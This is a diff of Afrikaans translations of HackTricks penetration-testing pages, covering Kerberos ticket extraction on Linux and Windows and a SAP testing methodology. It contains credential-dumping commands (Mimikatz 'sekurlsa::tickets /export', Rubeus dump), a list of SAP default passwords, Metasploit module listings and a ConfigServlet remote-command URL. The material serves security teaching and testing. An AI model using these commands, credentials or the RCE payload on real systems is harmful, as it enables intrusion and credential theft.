* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,44 +1,14 @@
<details>
### Kredensiaal Berging in Linux
Linux stelsels stoor kredensiale in drie tipes kas, naamlik **Lêers** (in die `/tmp` gids), **Kernel Sleutels** (n spesiale segment in die Linux-kern), en **Proses Geheue** (vir enkel-proses gebruik). Die **default\_ccache\_name** veranderlike in `/etc/krb5.conf` onthul die tipe berging wat gebruik word, wat standaard op `FILE:/tmp/krb5cc_%{uid}` is as dit nie gespesifiseer is nie.
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
### Uittrekking van Kredensiale
Die 2017 artikel, [**Kerberos Kredensiaal Diefstal (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), beskryf metodes om kredensiale uit sleutels en prosesse te onttrek, met die klem op die Linux-kern se sleutelmechanisme vir die bestuur en berging van sleutels.
Ander maniere om HackTricks te ondersteun:
#### Sleutel Uittrekking Oorsig
Die **keyctl stelselskakel**, wat in kern weergawe 2.6.10 bekendgestel is, laat gebruikersruimte toepassings toe om met kern sleutels te kommunikeer. Kredensiale in sleutels word as komponente gestoor (standaard hoofpersoon en kredensiale), wat verskil van lêer kas wat ook 'n kopstuk insluit. Die **hercules.sh skrip** uit die artikel demonstreer die onttrekking en heropbou van hierdie komponente in 'n bruikbare lêer kas vir kredensiaal diefstal.
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
### Kredensiaalopberging in Linux
Linux-stelsels stoor kredensiale in drie tipes kasgeheues, naamlik **Lêers** (in die `/tmp`-gids), **Kernel Keyrings** ( 'n spesiale segment in die Linux-kernel) en **Prosesgeheue** (vir enkelprosesgebruik). Die **default\_ccache\_name** veranderlike in `/etc/krb5.conf` onthul die tipe opberging wat gebruik word, wat standaard na `FILE:/tmp/krb5cc_%{uid}` verwys as dit nie gespesifiseer is nie.
### Onttrekking van Kredensiale
Die 2017-artikel, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), beskryf metodes vir die onttrekking van kredensiale uit sleutelringe en prosesse, met die klem op die Linux-kernel se sleutelringmeganisme vir die bestuur en berging van sleutels.
#### Oorsig van Sleutelringonttrekking
Die **keyctl-stelseloproep**, wat in kernelweergawe 2.6.10 ingevoer is, maak dit vir toepassings in gebruikersruimte moontlik om met kernel-sleutelringe te kommunikeer. Kredensiale in sleutelringe word as komponente gestoor (verstekprinsipaal en kredensiale), wat verskil van lêer-ccaches wat ook 'n kop bevat. Die **hercules.sh-skripsie** uit die artikel demonstreer die onttrekking en herkonstruksie van hierdie komponente in 'n bruikbare lêer-ccache vir kredensiaaldiefstal.
#### Hulpmiddel vir Onttrekking van Kaartjies: Tickey
Met die beginsels van die **hercules.sh-skripsie** as basis, is die [**tickey**](https://github.com/TarlogicSecurity/tickey) hulpmiddel spesifiek ontwerp vir die onttrekking van kaartjies uit sleutelringe, uitgevoer deur middel van `/tmp/tickey -i`.
#### Teken Uittrekking Gereedskap: Tickey
Gebaseer op die beginsels van die **hercules.sh skrip**, is die [**tickey**](https://github.com/TarlogicSecurity/tickey) gereedskap spesifiek ontwerp om teken uit sleutels te onttrek, uitgevoer via `/tmp/tickey -i`.
## Verwysings
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>

View file

@ -1,29 +1,30 @@
# Oes van kaartjies vanaf Windows
# Harvesting tickets from Windows
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kaartjies in Windows word bestuur en gestoor deur die **lsass** (Local Security Authority Subsystem Service) proses, wat verantwoordelik is vir die hanteer van sekuriteitsbeleide. Om hierdie kaartjies te onttrek, is dit nodig om met die lsass-proses te kommunikeer. 'n Nie-administratiewe gebruiker kan slegs toegang verkry tot hul eie kaartjies, terwyl 'n administrateur die voorreg het om alle kaartjies op die stelsel te onttrek. Vir sulke operasies word die gereedskap **Mimikatz** en **Rubeus** wyd gebruik, elk met verskillende opdragte en funksionaliteite.
Tickets in Windows word bestuur en gestoor deur die **lsass** (Local Security Authority Subsystem Service) proses, wat verantwoordelik is vir die hantering van sekuriteitsbeleide. Om hierdie tickets te onttrek, is dit nodig om met die lsass-proses te kommunikeer. 'n Nie-administratiewe gebruiker kan slegs toegang tot hul eie tickets verkry, terwyl 'n administrateur die voorreg het om alle tickets op die stelsel te onttrek. Vir sulke operasies word die gereedskap **Mimikatz** en **Rubeus** wyd gebruik, elk met verskillende opdragte en funksies.
### Mimikatz
Mimikatz is 'n veelsydige gereedskap wat kan kommunikeer met Windows-sekuriteit. Dit word nie net gebruik om kaartjies te onttrek nie, maar ook vir verskeie ander sekuriteitsverwante operasies.
Mimikatz is 'n veelsydige hulpmiddel wat met Windows-sekuriteit kan kommunikeer. Dit word nie net gebruik om tickets te onttrek nie, maar ook vir verskeie ander sekuriteitsverwante operasies.
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus is 'n instrument wat spesifiek ontwerp is vir Kerberos-interaksie en manipulasie. Dit word gebruik vir die onttrekking en hanteer van kaartjies, sowel as ander Kerberos-verwante aktiwiteite.
Rubeus is 'n hulpmiddel spesifiek ontwerp vir Kerberos-interaksie en manipulasie. Dit word gebruik vir kaartjie-uitkapping en hantering, sowel as ander Kerberos-verwante aktiwiteite.
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
@ -42,21 +43,22 @@ Rubeus is 'n instrument wat spesifiek ontwerp is vir Kerberos-interaksie en mani
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
Wanneer jy hierdie opdragte gebruik, verseker dat jy plaatshouers soos `<BASE64_TICKET>` en `<luid>` vervang met die werklike Base64-geënkripteerde kaartjie en Logon ID onderskeidelik. Hierdie gereedskap bied uitgebreide funksionaliteit vir die bestuur van kaartjies en die interaksie met die sekuriteitsmeganismes van Windows.
Wanneer jy hierdie opdragte gebruik, maak seker om plekhouers soos `<BASE64_TICKET>` en `<luid>` te vervang met die werklike Base64-gecodeerde kaartjie en Aanmeld-ID onderskeidelik. Hierdie gereedskap bied uitgebreide funksionaliteit vir die bestuur van kaartjies en interaksie met die sekuriteitsmeganismes van Windows.
## Verwysings
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,25 +20,25 @@ Ander maniere om HackTricks te ondersteun:
# Inleiding oor SAP
SAP staan vir Stelseltoepassings en Produkte in Dataverwerking. SAP is ook die naam van die ERP \(Ondernemingshulpbronbeplanning\) sagteware sowel as die naam van die maatskappy.
'n SAP-stelsel bestaan uit 'n aantal ten volle geïntegreerde modules, wat feitlik elke aspek van besigheidsbestuur dek.
SAP staan vir Systems Applications and Products in Data Processing. SAP, per definisie, is ook die naam van die ERP \(Enterprise Resource Planning\) sagteware sowel as die naam van die maatskappy.
Die SAP-stelsel bestaan uit 'n aantal volledig geïntegreerde modules, wat feitlik elke aspek van besigheidsbestuur dek.
Elke SAP-instansie \(of SID\) bestaan uit drie lae: databasis, aansoek en aanbieding\), elke landskap bestaan gewoonlik uit vier instansies: ontwikkeling, toets, QA en produksie.
Elkeen van die lae kan tot op 'n sekere mate benut word, maar die meeste effek kan verkry word deur **die databasis aan te val**.
Elke SAP-instantie \(of SID\) bestaan uit drie lae: databasis, toepassing en aanbieding\), elke landskap bestaan gewoonlik uit vier instanties: dev, toets, QA en produksie.
Elke van die lae kan tot 'n sekere mate uitgebuit word, maar die meeste effek kan verkry word deur **die databasis aan te val**.
Elke SAP-instansie is verdeel in kliënte. Elkeen het 'n gebruiker SAP\*, die aansoek se ekwivalent van "root".
Met die aanvanklike skepping kry hierdie gebruiker SAP\* 'n verstek wagwoord: "060719992" \(meer verstek wagwoorde hieronder\).
Jy sal verbaas wees as jy geweet het hoe dikwels hierdie **wagwoorde nie verander word in toets- of ontwikkelingsomgewings** nie!
Elke SAP-instantie is verdeel in kliënte. Elke een het 'n gebruiker SAP\*, die toepassing se ekwivalent van “root”.
By aanvanklike skepping, ontvang hierdie gebruiker SAP\* 'n standaard wagwoord: “060719992” \(meer standaard wagwoorde hieronder\).
Jy sal verbaas wees as jy weet hoe dikwels hierdie **wagwoorde nie in toets- of dev-omgewings verander word nie**!
Probeer om toegang tot die skaal van enige bediener te kry deur die gebruikersnaam &lt;SID&gt;adm te gebruik.
Bruteforcing kan help, alhoewel daar 'n rekeningblokkering meganisme kan wees.
Probeer om toegang te verkry tot die skulp van enige bediener met gebruikersnaam &lt;SID&gt;adm.
Bruteforcing kan help, maar daar kan 'n rekening sluiting meganisme wees.
# Ontdekking
> Die volgende afdeling is meestal van [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) van gebruiker shipcod3!
> Volgende afdeling is meestal van [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) van gebruiker shipcod3!
* Kontroleer die Aansoekomvang of Programkort vir toetsing. Neem kennis van die gasheername of stelselinstansies vir die koppeling na SAP GUI.
* Gebruik OSINT \(open source intelligence\), Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die aansoek aan die internet blootgestel is of openbaar is:
* Kyk na die Toepassing Omvang of Program Oorsig vir toetsing. Neem kennis van die gasheername of stelselinstanties vir verbinding met SAP GUI.
* Gebruik OSINT \(open source intelligence\), Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die toepassing internet-gestig of publiek is:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -49,17 +50,17 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Hier is hoe [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) lyk
![SAP Aanmeldskerm](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
![SAP Logon screen](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Gebruik nmap om vir oop poorte en bekende dienste \(sap routers, webdnypro, web dienste, web bedieners, ens.\) te ondersoek
* Kruip die URL's as daar 'n webbediener hardloop.
* Fuzz die gidsies \(jy kan Burp Intruder gebruik\) as dit webbedieners op sekere poorte het. Hier is 'n paar goeie woordlyste wat deur die SecLists Project voorsien word om standaard SAP ICM-paaie en ander interessante gidsies of lêers te vind:
* Gebruik nmap om oop poorte en bekende dienste \(sap routers, webdnypro, webdienste, webbedieners, ens.\) te kontroleer.
* Krap die URL's as daar 'n webbediener aan die gang is.
* Fuzz die gidse \(jy kan Burp Intruder gebruik\) as dit webbedieners op sekere poorte het. Hier is 'n paar goeie woordlyste wat deur die SecLists Project verskaf is om standaard SAP ICM Paaie en ander interessante gidse of lêers te vind:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* Gebruik die SAP DIENS ONTDEKKING hulp Metasploit module vir die opspoor van SAP instansies/dienste/komponente:
* Gebruik die SAP SERVICE DISCOVERY bykomende Metasploit module om SAP instansies/dienste/komponente te noem:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -76,12 +77,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Toets die Dik Kliënt / SAP GUI
## Toetsing van die Dikke Kliënt / SAP GUI
Hier is die bevel om met SAP GUI te verbind
`sapgui <sap-bediener-naam> <sisteemnommer>`
Hier is die opdrag om met SAP GUI te verbind
`sapgui <sap server hostname> <system number>`
* Kontroleer vir verstekgelde \(In Bugcrowd se Kwetsbaarheidsgraderingstaksonomie word dit beskou as P1 -&gt; Bedienertoestelbeveiliging \| Gebruik van Verstekgelde \| Produksiebediener\):
* Kontroleer vir standaard geloofsbriewe \(In Bugcrowd se Kwetsbaarheid Gradering Taksonomie, word dit beskou as P1 -&gt; Bediener Sekuriteit Misconfigurasie \| Gebruik Standaard Geloofsbriewe \| Produksie Bediener\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -132,33 +133,33 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Hardloop Wireshark en verifieer aan die klient (SAP GUI) met die geloofsbriewe wat jy gekry het omdat sommige kliënte geloofsbriewe sonder SSL oordra. Daar is twee bekende invoegtoepassings vir Wireshark wat die hoofkoppe wat deur die SAP DIAG-protokol gebruik word, kan ontled: SecureAuth Labs SAP-ontledingsinvoegtoepassing en SAP DIAG-invoegtoepassing deur die Positive Research Center.
* Kontroleer vir voorreg-escalasies soos die gebruik van sekere SAP-transaksiekodes (tcodes) vir lae-voorreggebruikers:
* SU01 - Om die gebruikers te skep en te onderhou
* SU01D - Om Gebruikers te vertoon
* SU10 - Vir massawartuig
* SU02 - Vir Handmatige skepping van profiele
* SM19 - Sekuriteitsoudit - konfigurasie
* SE84 - Inligtingstelsel vir SAP R/3-outorisasies
* Kontroleer of jy stelselopdragte kan uitvoer / skripte kan hardloop in die klient.
* Kontroleer of jy XSS kan doen op BAPI Explorer
* Voer Wireshark uit en autentiseer dan by die kliënt \(SAP GUI\) met die akrediteer wat jy gekry het omdat sommige kliënte akrediteer sonder SSL oordra. Daar is twee bekende plugins vir Wireshark wat die hoofkoppe wat deur die SAP DIAG protokol gebruik word, kan ontleed: SecureAuth Labs SAP ontledingsplugin en SAP DIAG plugin deur Positive Research Center.
* Kyk vir privilige eskalasies soos om sommige SAP Transaksie Kodes \(tcodes\) vir lae-privilege gebruikers te gebruik:
* SU01 - Om die gebruikers te skep en te onderhou
* SU01D - Om Gebruikers te Vertoon
* SU10 - Vir massa onderhoud
* SU02 - Vir Handmatige skepping van profiele
* SM19 - Sekuriteitsoudit - konfigurasie
* SE84 - Inligtingstelsel vir SAP R/3 Magtigings
* Kyk of jy stelselskommando's kan uitvoer / skripte in die kliënt kan loop.
* Kyk of jy XSS op BAPI Explorer kan doen
# Toets die webkoppelvlak
# Toetsing van die webkoppelvlak
* Kruip deur die URL's (sien ontdekkingsfase).
* Fuzz die URL's soos in die ontdekkingsfase. Hier is hoe [http://SAP:50000/index.html](http://sap:50000/index.html) lyk:
* Kruip die URL's \(sien ontdekking fase\).
* Fuzz die URL's soos in die ontdekking fase. Hier is hoe [http://SAP:50000/index.html](http://sap:50000/index.html) lyk:
![SAP Indeksbladsy](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Soek na algemene webkwesbaarhede (Verwys na OWASP Top 10) omdat daar XSS, RCE, XXE, ens. kwesbaarhede op sommige plekke is.
* Kyk na Jason Haddix se [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) vir die toets van webkwesbaarhede.
* Auth Bypass via werkwoordmanipulasie? Dalk :)
* Maak `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` oop en druk dan die "Kies" knoppie en druk dan in die oop venster "Soek". Jy behoort 'n lys van SAP-gebruikers te sien (Kwesbaarheidsverwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Word die geloofsbriewe oor HTTP ingedien? As dit wel is, word dit as P3 beskou gebaseer op Bugcrowd se [Kwesbaarheidsgraderingstaksonomie](https://bugcrowd.com/vulnerability-rating-taxonomy): Gebreekte Identifisering en Sessiebestuur | Swak Aanmeldingsfunksie oor HTTP. Wenk: Kyk ook na [http://SAP:50000/startPage](http://sap:50000/startPage) of die aanmeldingsportale :)
* Soek vir algemene web kwesbaarhede \(Verwys na OWASP Top 10\) omdat daar XSS, RCE, XXE, ens. kwesbaarhede in sommige plekke is.
* Kyk na Jason Haddix se [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) vir die toetsing van web kwesbaarhede.
* Auth Bypass via werkwoord Manipulasie? Miskien :\)
* Maak `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` oop en druk dan die “Kies” knoppie en druk dan in die geopende venster “Soek”. Jy behoort 'n lys van SAP gebruikers te kan sien \(Kwesbaarheid Verwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
* Word die akrediteer oor HTTP ingedien? As dit is, word dit as P3 beskou gebaseer op Bugcrowd se [Kwesbaarheid Gradering Taksonomie](https://bugcrowd.com/vulnerability-rating-taxonomy): Gebroke Autentisering en Sessie Bestuur \| Swak Inlog Funksie Oor HTTP. Wenke: Kyk ook na [http://SAP:50000/startPage](http://sap:50000/startPage) of die aanmeldportale :\)
![SAP Beginbladsy](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Probeer `/irj/go/km/navigation/` vir moontlike gidslys of aanmeldingsbypass
* Probeer `/irj/go/km/navigation/` vir moontlike gidslys of autentisering omseiling
* [http://SAP/sap/public/info](http://sap/sap/public/info) bevat 'n paar sappige inligting:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
@ -192,8 +193,8 @@ BWDEVELOPER:Down1oad:001
```
# Aanval!
* Kontroleer of dit op ou bedieners of tegnologieë soos Windows 2000 hardloop.
* Beplan die moontlike aanvalle / aanvalle, daar is baie Metasploit-modules vir SAP-ontdekking \(hulpmodules\) en aanvalle:
* Kontroleer of dit op ou bedieners of tegnologieë soos Windows 2000 loop.
* Beplan die moontlike ontploffings / aanvalle, daar is baie Metasploit-modules vir SAP-ontdekking \(bykomende modules\) en ontploffings:
```text
msf > search sap
Matching Modules
@ -258,13 +259,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Probeer om van bekende exploits gebruik te maak (kyk na Exploit-DB) of aanvalle soos die ou maar goeie "SAP ConfigServlet Remote Code Execution" in die SAP Portal:
* Probeer om 'n paar bekende exploits te gebruik \(kyk na Exploit-DB\) of aanvalle soos die ou maar goeie “SAP ConfigServlet Remote Code Execution” in die SAP Portal:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Voordat jy die `start` bevel op die bizploit skrip hardloop tydens die Ontdekkingsfase, kan jy ook die volgende byvoeg vir die uitvoering van kwetsbaarheidsevaluering:
* Voordat jy die `start` opdrag op die bizploit skrip in die Ontdekking fase uitvoer, kan jy ook die volgende byvoeg om kwesbaarheidsevaluering uit te voer:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -288,20 +289,20 @@ bizploit> start
```
# Ander Nuttige Gereedskap vir Toetsing
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell-gereedskap om SAP-sekuriteit te assesseer
* [Burp Suite](https://portswigger.net/burp) - 'n moet hê vir gidsfuzzing en web-sekuriteitsassessering
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python-biblioteek om SAP-netwerkprotokolpakkette te skep
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap om SAP/ERP op te spoor
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell-gereedskap om SAP-sekuriteit te evalueer
* [Burp Suite](https://portswigger.net/burp) - 'n Moet hê vir gids fuzzing en websekuriteitsassessering
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python-biblioteek om SAP-netwerkprotokolpakkette te vervaardig
